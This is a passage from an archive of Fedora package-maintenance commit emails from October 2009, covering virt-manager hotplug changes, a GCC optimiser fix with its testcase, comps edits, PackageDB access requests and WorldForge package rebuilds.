+++ b/src/virtManager/details.py	Fri Mar 13 13:51:35 2009 -0400
@@ -749,15 +749,9 @@
         if status in [ libvirt.VIR_DOMAIN_SHUTOFF, libvirt.VIR_DOMAIN_CRASHED ] and not self.vm.is_read_only():
             self.window.get_widget("control-run").set_sensitive(True)
             self.window.get_widget("details-menu-run").set_sensitive(True)
-            self.window.get_widget("config-vcpus").set_sensitive(True)
-            self.window.get_widget("config-memory").set_sensitive(True)
-            self.window.get_widget("config-maxmem").set_sensitive(True)
         else:
             self.window.get_widget("control-run").set_sensitive(False)
             self.window.get_widget("details-menu-run").set_sensitive(False)
-            self.window.get_widget("config-vcpus").set_sensitive(self.vm.is_vcpu_hotplug_capable())
-            self.window.get_widget("config-memory").set_sensitive(self.vm.is_memory_hotplug_capable())
-            self.window.get_widget("config-maxmem").set_sensitive(True)
 
         if status in [libvirt.VIR_DOMAIN_SHUTDOWN, libvirt.VIR_DOMAIN_SHUTOFF,
                       libvirt.VIR_DOMAIN_CRASHED ] or vm.is_read_only():
@@ -775,11 +769,12 @@
             self.window.get_widget("details-menu-shutdown").set_sensitive(True)
             self.window.get_widget("details-menu-save").set_sensitive(True)
 
-        # Currently, the condition that "Migrate" become insensitive is only "readonly".
-        if vm.is_read_only():
-            self.window.get_widget("details-menu-migrate").set_sensitive(False)
-        else:
-            self.window.get_widget("details-menu-migrate").set_sensitive(True)
+        ro = vm.is_read_only()
+        self.window.get_widget("config-vcpus").set_sensitive(not ro)
+        self.window.get_widget("config-memory").set_sensitive(not ro)
+        self.window.get_widget("config-maxmem").set_sensitive(not ro)
+        self.window.get_widget("details-menu-migrate").set_sensitive(not ro)
+        if not ro:
             self.set_migrate_menu()
 
         if status in [ libvirt.VIR_DOMAIN_SHUTOFF ,libvirt.VIR_DOMAIN_CRASHED ]:
diff -r 7ab8a12b3527 -r 9530fb06ad66 src/virtManager/domain.py
--- a/src/virtManager/domain.py	Fri Mar 13 13:13:24 2009 -0400
+++ b/src/virtManager/domain.py	Fri Mar 13 13:51:35 2009 -0400
@@ -181,30 +181,6 @@
         # FIXME: This should be static, not parse xml everytime
         return vutil.get_xml_path(self.get_xml(), "/domain/@type")
 
-    def is_vcpu_hotplug_capable(self):
-        # Read only connections aren't allowed to change it
-        if self.connection.is_read_only():
-            return False
-        # Running paravirt guests can change it, or any inactive guest
-        if self.vm.OSType() == "linux" \
-           or self.status() not in [libvirt.VIR_DOMAIN_RUNNING,\
-                                    libvirt.VIR_DOMAIN_PAUSED]:
-            return True
-        # Everyone else is out of luck
-        return False
-
-    def is_memory_hotplug_capable(self):
-        # Read only connections aren't allowed to change it
-        if self.connection.is_read_only():
-            return False
-        # Running paravirt guests can change it, or any inactive guest
-        if self.vm.OSType() == "linux" \
-           or self.status() not in [libvirt.VIR_DOMAIN_RUNNING,\
-                                    libvirt.VIR_DOMAIN_PAUSED]:
-            return True
-        # Everyone else is out of luck
-        return False
-
     def _normalize_status(self, status):
         if status == libvirt.VIR_DOMAIN_NOSTATE:
             return libvirt.VIR_DOMAIN_RUNNING


Index: virt-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-manager/F-11/virt-manager.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- virt-manager.spec	18 Sep 2009 14:50:44 -0000	1.53
+++ virt-manager.spec	5 Oct 2009 19:19:56 -0000	1.54
@@ -8,7 +8,7 @@
 
 Name: virt-manager
 Version: 0.7.0
-Release: 6%{_extra_release}
+Release: 7%{_extra_release}
 Summary: Virtual Machine Manager
 
 Group: Applications/Emulators
@@ -41,6 +41,10 @@ Patch17: %{name}-%{version}-fix-memory-i
 Patch18: %{name}-%{version}-vcpu-mem-persistent.patch
 # Add pylint script
 Patch19: %{name}-%{version}-pylint-script.patch
+# Fix typo in vcpu hotplug
+Patch20: %{name}-%{version}-fix-vcpu-hotplug.patch
+# Allow memory hotplug for KVM (bz 524297)
+Patch21: %{name}-%{version}-remove-hotplug-checks.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # These two are just the oldest version tested
@@ -132,6 +136,8 @@ management API.
 %patch17 -p1
 %patch18 -p1
 %patch19 -p1
+%patch20 -p1
+%patch21 -p1
 
 %build
 %configure
@@ -209,6 +215,10 @@ fi
 %{_datadir}/dbus-1/services/%{name}.service
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.7.0-7.fc11
+- Fix typo in vcpu hotplug
+- Allow memory hotplug for KVM (bz 524297)
+
 * Fri Sep 18 2009 Cole Robinson <crobinso at redhat.com> - 0.7.0-6.fc11
 - Fix migration for qemu/kvm guests (bz 517548)
 - Fix sparse allocation confusion (bz 504605)



From notting at fedoraproject.org  Mon Oct  5 19:25:13 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon,  5 Oct 2009 19:25:13 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.144,1.145
Message-ID: <20091005192513.5EE4411C00DB@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22478

Modified Files:
	comps-f12.xml.in 
Log Message:
Test commit hook.



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- comps-f12.xml.in	4 Oct 2009 17:28:05 -0000	1.144
+++ comps-f12.xml.in	5 Oct 2009 19:25:12 -0000	1.145
@@ -8,7 +8,7 @@
     <default>true</default>
     <uservisible>true</uservisible>
     <packagelist>
-      <packagereq type="default">authconfig-gtk</packagereq>
+      <packagereq type="default">authconfig-gtk</packagere>
       <packagereq type="default">gnome-packagekit</packagereq>
       <packagereq type="default">system-config-boot</packagereq>
       <packagereq type="default">system-config-date</packagereq>



From notting at fedoraproject.org  Mon Oct  5 19:28:56 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon,  5 Oct 2009 19:28:56 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.145,1.146
Message-ID: <20091005192856.5D57611C00DB@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24197

Modified Files:
	comps-f12.xml.in 
Log Message:
Undo error.



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- comps-f12.xml.in	5 Oct 2009 19:25:12 -0000	1.145
+++ comps-f12.xml.in	5 Oct 2009 19:28:54 -0000	1.146
@@ -8,7 +8,7 @@
     <default>true</default>
     <uservisible>true</uservisible>
     <packagelist>
-      <packagereq type="default">authconfig-gtk</packagere>
+      <packagereq type="default">authconfig-gtk</packagereq>
       <packagereq type="default">gnome-packagekit</packagereq>
       <packagereq type="default">system-config-boot</packagereq>
       <packagereq type="default">system-config-date</packagereq>



From jjohnstn at fedoraproject.org  Mon Oct  5 19:29:59 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Mon,  5 Oct 2009 19:29:59 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel
	eclipse-cdt-ppc64-add_xopen_source-include.patch, 1.1, 1.2
Message-ID: <20091005192959.A537011C00DB@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24252

Modified Files:
	eclipse-cdt-ppc64-add_xopen_source-include.patch 
Log Message:

Remove section of patch that refers to stropts.h which will already be
removed by a previously applied patch to openpty.c.


eclipse-cdt-ppc64-add_xopen_source-include.patch:
 openpty.c |    4 ++++
 1 file changed, 4 insertions(+)

Index: eclipse-cdt-ppc64-add_xopen_source-include.patch
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/eclipse-cdt-ppc64-add_xopen_source-include.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipse-cdt-ppc64-add_xopen_source-include.patch	5 Oct 2009 15:11:44 -0000	1.1
+++ eclipse-cdt-ppc64-add_xopen_source-include.patch	5 Oct 2009 19:29:59 -0000	1.2
@@ -3,7 +3,7 @@
 if _XOPEN_SOURCE is not defined before including stdlib.h, a warning about
 a assignment from an integer to a pointer without a cast will occur.  This
 warning could actually cause problems in some circumstances, because the
-upper bits of the return value could, potentially, bet set to zero before
+upper bits of the return value could, potentially, be set to zero before
 the assignment is made.
 Index: library/openpty.c
 ===================================================================
@@ -20,11 +20,3 @@ Index: library/openpty.c
  #include <sys/types.h>
  #include <sys/stat.h>
  #include <sys/ioctl.h>
-@@ -20,6 +24,7 @@
- #include <grp.h>
- 
- #include <stdlib.h>
-+
- #include <stropts.h>
- 
- /**



From pkgdb at fedoraproject.org  Mon Oct  5 19:46:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:46:50 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested watchcommits
Message-ID: <20091005194650.8A33310F84D@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the watchcommits acl on GtkAda (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Mon Oct  5 19:47:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:47:00 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested commit
Message-ID: <20091005194700.E864310F88F@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the commit acl on GtkAda (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Mon Oct  5 19:47:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:47:15 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested watchbugzilla
Message-ID: <20091005194715.6E47610F871@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the watchbugzilla acl on GtkAda (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Mon Oct  5 19:47:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:47:41 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested commit
Message-ID: <20091005194741.601CB10F892@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the commit acl on GtkAda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Mon Oct  5 19:47:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:47:43 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested watchcommits
Message-ID: <20091005194743.0865A10F89C@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the watchcommits acl on GtkAda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Mon Oct  5 19:47:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 19:47:46 +0000
Subject: [pkgdb] GtkAda: rombobeorn has requested watchbugzilla
Message-ID: <20091005194746.5C32410F8A3@bastion2.fedora.phx.redhat.com>

rombobeorn has requested the watchbugzilla acl on GtkAda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From jakub at fedoraproject.org  Mon Oct  5 20:25:00 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Mon,  5 Oct 2009 20:25:00 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr41317.patch, NONE, 1.1 .cvsignore, 1.296,
	1.297 gcc.spec, 1.75, 1.76 sources, 1.300, 1.301
Message-ID: <20091005202500.90D9B11C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16520

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-pr41317.patch 
Log Message:
4.4.1-19.fc12

gcc44-pr41317.patch:
 testsuite/gcc.c-torture/execute/pr41317.c |   28 +++++++++
 tree-ssa-ccp.c                            |   91 +++++++++++-------------------
 2 files changed, 63 insertions(+), 56 deletions(-)

--- NEW FILE gcc44-pr41317.patch ---
2009-09-09  Richard Guenther  <rguenther at suse.de>

	PR middle-end/41317
	* tree-ssa-ccp.c (maybe_fold_offset_to_component_ref): Remove
	code dealing with plain pointer bases.
	(maybe_fold_offset_to_reference): Likewise.
	(maybe_fold_stmt_addition): Adjust.

	* gcc.c-torture/execute/pr41317.c: New testcase.

--- gcc/tree-ssa-ccp.c.jj	2009-04-22 23:58:31.000000000 +0200
+++ gcc/tree-ssa-ccp.c	2009-10-05 16:50:00.000000000 +0200
@@ -1727,7 +1727,7 @@ maybe_fold_offset_to_array_ref (tree bas
 
 static tree
 maybe_fold_offset_to_component_ref (tree record_type, tree base, tree offset,
-				    tree orig_type, bool base_is_ptr)
+				    tree orig_type)
 {
   tree f, t, field_type, tail_array_field, field_offset;
   tree ret;
@@ -1779,8 +1779,6 @@ maybe_fold_offset_to_component_ref (tree
       if (cmp == 0
 	  && useless_type_conversion_p (orig_type, field_type))
 	{
-	  if (base_is_ptr)
-	    base = build1 (INDIRECT_REF, record_type, base);
 	  t = build3 (COMPONENT_REF, field_type, base, f, NULL_TREE);
 	  return t;
 	}
@@ -1805,11 +1803,7 @@ maybe_fold_offset_to_component_ref (tree
 
       /* If we matched, then set offset to the displacement into
 	 this field.  */
-      if (base_is_ptr)
-	new_base = build1 (INDIRECT_REF, record_type, base);
-      else
-	new_base = base;
-      new_base = build3 (COMPONENT_REF, field_type, new_base, f, NULL_TREE);
+      new_base = build3 (COMPONENT_REF, field_type, base, f, NULL_TREE);
 
       /* Recurse to possibly find the match.  */
       ret = maybe_fold_offset_to_array_ref (new_base, t, orig_type,
@@ -1817,7 +1811,7 @@ maybe_fold_offset_to_component_ref (tree
       if (ret)
 	return ret;
       ret = maybe_fold_offset_to_component_ref (field_type, new_base, t,
-						orig_type, false);
+						orig_type);
       if (ret)
 	return ret;
     }
@@ -1831,8 +1825,6 @@ maybe_fold_offset_to_component_ref (tree
 
   /* If we get here, we've got an aggregate field, and a possibly 
      nonzero offset into them.  Recurse and hope for a valid match.  */
-  if (base_is_ptr)
-    base = build1 (INDIRECT_REF, record_type, base);
   base = build3 (COMPONENT_REF, field_type, base, f, NULL_TREE);
 
   t = maybe_fold_offset_to_array_ref (base, offset, orig_type,
@@ -1840,7 +1832,7 @@ maybe_fold_offset_to_component_ref (tree
   if (t)
     return t;
   return maybe_fold_offset_to_component_ref (field_type, base, offset,
-					     orig_type, false);
+					     orig_type);
 }
 
 /* Attempt to express (ORIG_TYPE)BASE+OFFSET as BASE->field_of_orig_type
@@ -1854,57 +1846,44 @@ maybe_fold_offset_to_reference (tree bas
 {
   tree ret;
   tree type;
-  bool base_is_ptr = true;
 
   STRIP_NOPS (base);
-  if (TREE_CODE (base) == ADDR_EXPR)
-    {
-      base_is_ptr = false;
+  if (TREE_CODE (base) != ADDR_EXPR)
+    return NULL_TREE;
 
-      base = TREE_OPERAND (base, 0);
+  base = TREE_OPERAND (base, 0);
 
-      /* Handle case where existing COMPONENT_REF pick e.g. wrong field of union,
-	 so it needs to be removed and new COMPONENT_REF constructed.
-	 The wrong COMPONENT_REF are often constructed by folding the
-	 (type *)&object within the expression (type *)&object+offset  */
-      if (handled_component_p (base))
+  /* Handle case where existing COMPONENT_REF pick e.g. wrong field of union,
+     so it needs to be removed and new COMPONENT_REF constructed.
+     The wrong COMPONENT_REF are often constructed by folding the
+     (type *)&object within the expression (type *)&object+offset  */
+  if (handled_component_p (base))
+    {
+      HOST_WIDE_INT sub_offset, size, maxsize;
+      tree newbase;
+      newbase = get_ref_base_and_extent (base, &sub_offset,
+					 &size, &maxsize);
+      gcc_assert (newbase);
+      if (size == maxsize
+	  && size != -1
+	  && !(sub_offset & (BITS_PER_UNIT - 1)))
 	{
-          HOST_WIDE_INT sub_offset, size, maxsize;
-	  tree newbase;
-	  newbase = get_ref_base_and_extent (base, &sub_offset,
-					     &size, &maxsize);
-	  gcc_assert (newbase);
-	  if (size == maxsize
-	      && size != -1
-	      && !(sub_offset & (BITS_PER_UNIT - 1)))
-	    {
-	      base = newbase;
-	      if (sub_offset)
-		offset = int_const_binop (PLUS_EXPR, offset,
-					  build_int_cst (TREE_TYPE (offset),
-					  sub_offset / BITS_PER_UNIT), 1);
-	    }
+	  base = newbase;
+	  if (sub_offset)
+	    offset = int_const_binop (PLUS_EXPR, offset,
+				      build_int_cst (TREE_TYPE (offset),
+					     sub_offset / BITS_PER_UNIT), 1);
 	}
-      if (useless_type_conversion_p (orig_type, TREE_TYPE (base))
-	  && integer_zerop (offset))
-	return base;
-      type = TREE_TYPE (base);
     }
-  else
-    {
-      base_is_ptr = true;
-      if (!POINTER_TYPE_P (TREE_TYPE (base)))
-	return NULL_TREE;
-      type = TREE_TYPE (TREE_TYPE (base));
-    }
-  ret = maybe_fold_offset_to_component_ref (type, base, offset,
-					    orig_type, base_is_ptr);
+  if (useless_type_conversion_p (orig_type, TREE_TYPE (base))
+      && integer_zerop (offset))
+    return base;
+  type = TREE_TYPE (base);
+
+  ret = maybe_fold_offset_to_component_ref (type, base, offset, orig_type);
   if (!ret)
-    {
-      if (base_is_ptr)
-	base = build1 (INDIRECT_REF, type, base);
-      ret = maybe_fold_offset_to_array_ref (base, offset, orig_type, true);
-    }
+    ret = maybe_fold_offset_to_array_ref (base, offset, orig_type, true);
+
   return ret;
 }
 
@@ -2143,7 +2122,7 @@ maybe_fold_stmt_addition (tree res_type,
   t = maybe_fold_offset_to_array_ref (op0, op1, ptd_type, true);
   if (!t)
     t = maybe_fold_offset_to_component_ref (TREE_TYPE (op0), op0, op1,
-					    ptd_type, false);
+					    ptd_type);
   if (t)
     t = build1 (ADDR_EXPR, res_type, t);
 
--- gcc/testsuite/gcc.c-torture/execute/pr41317.c.jj	2009-10-05 16:18:54.000000000 +0200
+++ gcc/testsuite/gcc.c-torture/execute/pr41317.c	2009-10-05 16:18:54.000000000 +0200
@@ -0,0 +1,28 @@
+extern void abort (void);
+
+struct A
+{
+  int i;
+};
+struct B
+{
+  struct A a;
+  int j;
+};
+
+static void
+foo (struct B *p)
+{
+  ((struct A *)p)->i = 1;
+}
+
+int main()
+{
+  struct A a;
+  a.i = 0;
+  foo ((struct B *)&a);
+  if (a.i != 1)
+    abort ();
+  return 0;
+}
+


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.296
retrieving revision 1.297
diff -u -p -r1.296 -r1.297
--- .cvsignore	1 Oct 2009 08:19:32 -0000	1.296
+++ .cvsignore	5 Oct 2009 20:24:56 -0000	1.297
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20091001.tar.bz2
+gcc-4.4.1-20091005.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- gcc.spec	1 Oct 2009 08:19:32 -0000	1.75
+++ gcc.spec	5 Oct 2009 20:24:57 -0000	1.76
@@ -1,9 +1,9 @@
-%global DATE 20091001
-%global SVNREV 152364
+%global DATE 20091005
+%global SVNREV 152471
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 18
+%global gcc_release 19
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -161,6 +161,7 @@ Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
 Patch20: gcc44-vta-rh521991.patch
+Patch21: gcc44-pr41317.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -468,6 +469,7 @@ which are required to compile with the G
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
 %patch20 -p0 -b .vta-rh521991~
+%patch21 -p0 -b .pr41317~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1837,6 +1839,17 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Mon Oct  5 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-19
+- update from gcc-4_4-branch
+  - PRs fortran/41479, fortran/41515
+- VTA backports
+  - PRs debug/41353, debug/41404, rtl-optimization/41511
+  - another debug info fix for decls passed by reference (#527057,
+    PR debug/41558)
+  - don't emit DW_AT_name on DW_TAG_const_type (#526970)
+- avoid invalid folding of casts to addresses of first fields
+  (#527121, PR middle-end/41317)
+
 * Thu Oct  1 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-18
 - update from gcc-4_4-branch
   - PRs ada/41100, target/22093


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- sources	1 Oct 2009 08:19:33 -0000	1.300
+++ sources	5 Oct 2009 20:24:57 -0000	1.301
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-18fe22db9e055b13b9cc290f6cbbf1fa  gcc-4.4.1-20091001.tar.bz2
+c89041d608f2c9f1711384305660a6ec  gcc-4.4.1-20091005.tar.bz2



From atorkhov at fedoraproject.org  Mon Oct  5 20:26:37 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 20:26:37 +0000 (UTC)
Subject: rpms/cyphesis/devel cyphesis.spec,1.37,1.38
Message-ID: <20091005202637.EF3C711C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17871

Modified Files:
	cyphesis.spec 
Log Message:
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Rebuild for varconf interface version bump



Index: cyphesis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/devel/cyphesis.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- cyphesis.spec	5 Oct 2009 18:52:09 -0000	1.37
+++ cyphesis.spec	5 Oct 2009 20:26:37 -0000	1.38
@@ -4,7 +4,7 @@
 
 Name:           cyphesis
 Version:        0.5.21
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        WorldForge game server
 Group:          System Environment/Libraries
 License:        GPLv2+
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
+- Rebuild for varconf interface version bump
+
 * Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
 - Update to 0.5.21
 



From atorkhov at fedoraproject.org  Mon Oct  5 20:27:47 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 20:27:47 +0000 (UTC)
Subject: rpms/ember/devel ember.spec,1.18,1.19
Message-ID: <20091005202747.61B5011C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/ember/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18744

Modified Files:
	ember.spec 
Log Message:
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.6-4
- Rebuild for varconf interface version bump



Index: ember.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ember/devel/ember.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- ember.spec	28 Sep 2009 10:16:15 -0000	1.18
+++ ember.spec	5 Oct 2009 20:27:47 -0000	1.19
@@ -1,6 +1,6 @@
 Name:           ember
 Version:        0.5.6
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        3D client for WorldForge
 
 Group:          Amusements/Games
@@ -87,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.6-4
+- Rebuild for varconf interface version bump
+
 * Mon Sep 28 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.6-3
 - Rebuilt for new OGRE
 



From atorkhov at fedoraproject.org  Mon Oct  5 20:28:11 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 20:28:11 +0000 (UTC)
Subject: rpms/sear/devel sear.spec,1.13,1.14
Message-ID: <20091005202811.5102C11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/sear/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18927

Modified Files:
	sear.spec 
Log Message:
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.3-15
- Rebuild for varconf interface version bump



Index: sear.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sear/devel/sear.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sear.spec	27 Jul 2009 04:06:13 -0000	1.13
+++ sear.spec	5 Oct 2009 20:28:11 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           sear
 Version:        0.6.3
-Release:        14%{?dist}
+Release:        15%{?dist}
 Summary:        3D WorldForge client
 
 Group:          Amusements/Games
@@ -81,6 +81,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.3-15
+- Rebuild for varconf interface version bump
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3-14
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From atorkhov at fedoraproject.org  Mon Oct  5 20:30:25 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 20:30:25 +0000 (UTC)
Subject: rpms/varconf/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 varconf.spec, 1.7, 1.8 varconf-0.6.5-gcc43.patch, 1.1, NONE
Message-ID: <20091005203025.1215311C0298@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/varconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19825

Modified Files:
	.cvsignore sources varconf.spec 
Removed Files:
	varconf-0.6.5-gcc43.patch 
Log Message:
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.6-1
- Update to 0.6.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/varconf/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Jan 2007 05:03:35 -0000	1.3
+++ .cvsignore	5 Oct 2009 20:30:24 -0000	1.4
@@ -1 +1 @@
-varconf-0.6.5.tar.gz
+varconf-0.6.6.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/varconf/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Jan 2007 05:03:35 -0000	1.3
+++ sources	5 Oct 2009 20:30:24 -0000	1.4
@@ -1 +1 @@
-3fd80433af2fd96f4eaab23f4ebbe343  varconf-0.6.5.tar.gz
+5ca6cfe2ab3044f90d18e06966ff1dda  varconf-0.6.6.tar.bz2


Index: varconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/varconf/devel/varconf.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- varconf.spec	27 Jul 2009 06:44:00 -0000	1.7
+++ varconf.spec	5 Oct 2009 20:30:24 -0000	1.8
@@ -1,13 +1,12 @@
 Name:           varconf
-Version:        0.6.5
-Release:        5%{?dist}
+Version:        0.6.6
+Release:        1%{?dist}
 Summary:        Configuration library used by WorldForge clients
 
 Group:          Development/Libraries
 License:        LGPLv2+
 URL:            http://worldforge.org/dev/eng/libraries/varconf
-Source0:        http://dl.sourceforge.net/worldforge/%{name}-%{version}.tar.gz
-Patch0:         varconf-0.6.5-gcc43.patch
+Source0:        http://dl.sourceforge.net/worldforge/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libsigc++20-devel
@@ -30,7 +29,6 @@ Development libraries and headers for li
 
 %prep
 %setup -q
-%patch0 -p1
 
 
 %build
@@ -73,6 +71,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.6-1
+- Update to 0.6.6
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.5-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- varconf-0.6.5-gcc43.patch DELETED ---



From pkgdb at fedoraproject.org  Mon Oct  5 20:38:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 20:38:20 +0000
Subject: [pkgdb] dumpet was added for pjones
Message-ID: <20091005203820.EDEFA10F892@bastion2.fedora.phx.redhat.com>

